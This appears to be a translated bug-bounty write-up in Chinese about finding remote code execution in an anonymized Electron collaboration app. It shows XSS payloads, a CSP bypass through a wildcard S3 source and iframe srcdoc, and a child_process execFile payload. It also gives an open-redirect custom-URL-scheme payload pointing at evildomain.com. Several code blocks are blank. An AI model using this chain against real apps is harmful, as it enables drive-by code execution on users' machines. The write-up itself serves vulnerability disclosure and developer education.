Node的世界 - 我们只是生活在其中
无论好坏,Node.js已在开发者人气榜上迅速攀升。借助React、React Native和Electron等框架,开发者可以轻松构建移动和原生平台的客户端。这些客户端本质上都是围绕单个JavaScript文件的薄包装。
任何现代便利都有代价。在安全方面,将路由和模板逻辑移至客户端使攻击者更容易发现未使用的API端点、未混淆的密钥等。看看我写的Webpack Exploder工具,它能将Webpack打包的React应用反编译回原始源代码。
对于原生桌面应用,Electron应用甚至更容易反编译和调试。攻击者无需费力使用Ghidra/Radare2/Ida等工具翻阅大量汇编代码,而是可以直接使用Electron内置的Chromium DevTools。同时,Electron文档建议将应用打包为asar存档(类似tar格式),只需一行命令即可解包。
有了源代码,攻击者可以寻找客户端漏洞并将其升级为代码执行。不需要复杂的缓冲区溢出 - Electron的nodeIntegration设置让应用距离弹出计算器仅一步XSS之遥。
从白盒测试到漏洞利用
我的旅程始于某天看到Jasmin的推文后,决定自己尝试Electron漏洞挖掘。首先在MacOS上安装目标应用,然后获取源代码:
- 浏览到Applications文件夹
- 右键点击应用选择"显示包内容"
- 进入包含app.asar文件的Contents目录
- 运行
npx asar extract app.asar source
(需安装Node) - 在生成的source目录查看反编译的源代码!
发现危险配置
查看package.json发现配置"main": "app/index.js"
,表明主进程从index.js启动。快速检查index.js确认大多数BrowserWindow实例的nodeIntegration设置为true。这意味着我可以轻松将攻击者控制的JavaScript升级为原生代码执行。当nodeIntegration为true时,窗口中的JavaScript可以访问原生Node.js函数如require,从而导入危险模块如child_process。这就导致了经典的Electron计算器payload:require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
。
尝试XSS
现在只需找到XSS向量。该应用是跨平台协作工具(类似Slack或Zoom),因此有大量输入点如文本消息或共享上传。我通过electron . --proxy-server=127.0.0.1:8080
从源代码启动应用,用Burp Suite代理网络流量。
我开始在各个输入点测试<b>pwned</b>
等HTML payload。不久后我看到了第一个"pwned"!这是个好兆头。但标准的XSS payload如<script>alert()</script>
或<svg onload=alert()>
却无法执行。需要开始调试。
绕过CSP
默认情况下,可以通过Ctrl+Shift+I或F12键在Electron应用中访问DevTools。我狂按这些键但毫无反应。看来应用移除了默认快捷键。为解决这个问题,我在源代码中搜索globalShortcut(Electron的键盘快捷键模块)。出现了一个结果:
|
|
啊哈!应用有自定义快捷键打开秘密菜单。我按下CMD+H,菜单栏出现了开发者菜单。它包含多个有趣选项如Update和Callback,最重要的是有DevTools!打开DevTools后继续测试XSS payload,很快明白了失败原因 - DevTools控制台弹出CSP违规错误消息。应用加载的URL带有以下CSP:
|
|
CSP排除了unsafe-inline策略,阻止了svg payload等事件处理器。此外,由于我的payload是动态注入到页面的,典型的<script>
标签无法执行。幸运的是,CSP有个致命错误:允许通配符URL。特别是https://*.s3.amazonaws.com
策略允许我从自己的S3桶包含脚本!为动态注入和执行脚本标签,我使用了从Intigriti复活节XSS挑战中学到的技巧,利用iframe的srcdoc属性:
|
|
(已匿名化源URL)
这样,我得到了可爱的alert框!肾上腺素飙升,我将evilscript.js修改为window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
,重新发送XSS payload,然后…什么都没发生。
深入探索
回到DevTools控制台,注意到错误:Uncaught TypeError: window.require is not a function
。这很困惑,因为nodeIntegration为true时,require等Node.js函数应包含在window中。回到源代码,发现创建BrowserWindow时的这些代码:
|
|
查看preload.js:
|
|
啊哈!应用在预加载序列中重命名/删除了require。这不是安全混淆尝试,而是Electron文档中的样板代码,目的是让AngularJS等第三方JavaScript库正常工作!如我之前所说,不安全的配置是易受攻击应用的共同主题。通过开启nodeIntegration并将require重新引入window,代码执行成为可能。
再做一次调整(使用window.parent.nodeRequire因为我从iframe执行XSS),发送新payload,计算器弹出了!
路过式代码执行
在查看原生应用前,我在web应用中发现开放重定向:https://collabapplication.com/redirect.jsp?next=//evil.com
。但审核人员要求展示更多影响。原生应用的一个功能是能从浏览器中的网页链接打开新窗口。
考虑Slack和Zoom等应用。你是否想过如何在zoom.us上点击链接,就能提示打开Zoom应用?
这是因为这些网站尝试打开已被原生应用注册的自定义URL方案。例如,Zoom向操作系统注册zoommtg自定义URL方案,因此如果你安装了Zoom并尝试在浏览器中打开zoommtg://zoom.us/start?confno=123456789&pwd=xxxx
(试试看!),系统会提示打开原生应用。在某些安全性较低的浏览器中,甚至不会提示!
我注意到漏洞应用有类似功能。如果访问网站上的特定页面,会在原生应用中打开协作房间。深入代码发现这个处理器:
|
|
解析这段代码:当通过自定义URL方案(这里是collabapp://collabapplication.com?meetingno=123&pwd=abc
)启动原生应用时,URL被传递给启动处理器。启动处理器提取collabapp://
后的URL,检查提取URL中的域是否为collabapplication.com,如果通过检查就在应用窗口中加载该URL。
虽然白名单检查代码本身正确,但安全机制极其脆弱。只要collabapplication.com存在一个开放重定向,就能强制原生应用在应用窗口中加载任意URL。结合nodeIntegration漏洞,只需重定向到调用window.parent.nodeRequire(...)
的恶意页面就能实现代码执行!
我的最终payload是:collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html
。在evil.html中,我只需运行window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
。
现在,如果受害者用户访问任何加载该恶意自定义URL方案的网页,计算器就会弹出!无需浏览器零日漏洞就能实现路过式代码执行。
我们生活的世界
在COVID-19疫情后涌现的新应用中,开发者可能倾向于采用可能导致严重安全漏洞的捷径。这些漏洞无法快速修复,因为它们源于开发周期早期的错误。
回想漏洞应用的nodeIntegration和预加载问题 - 除非修复这些架构和配置问题,否则应用将始终脆弱易受攻击。即使修补了一个XSS或开放重定向,这些漏洞的任何新实例都会导致代码执行。同时,关闭nodeIntegration会破坏整个应用。需要从此点开始重写应用。
像Electron这样的Node.js框架允许开发者使用熟悉的语言和工具快速构建原生应用。但用户环境是截然不同的威胁场景 - 在浏览器中弹出alert与应用中弹出calc完全不同。开发者和用户都应谨慎行事。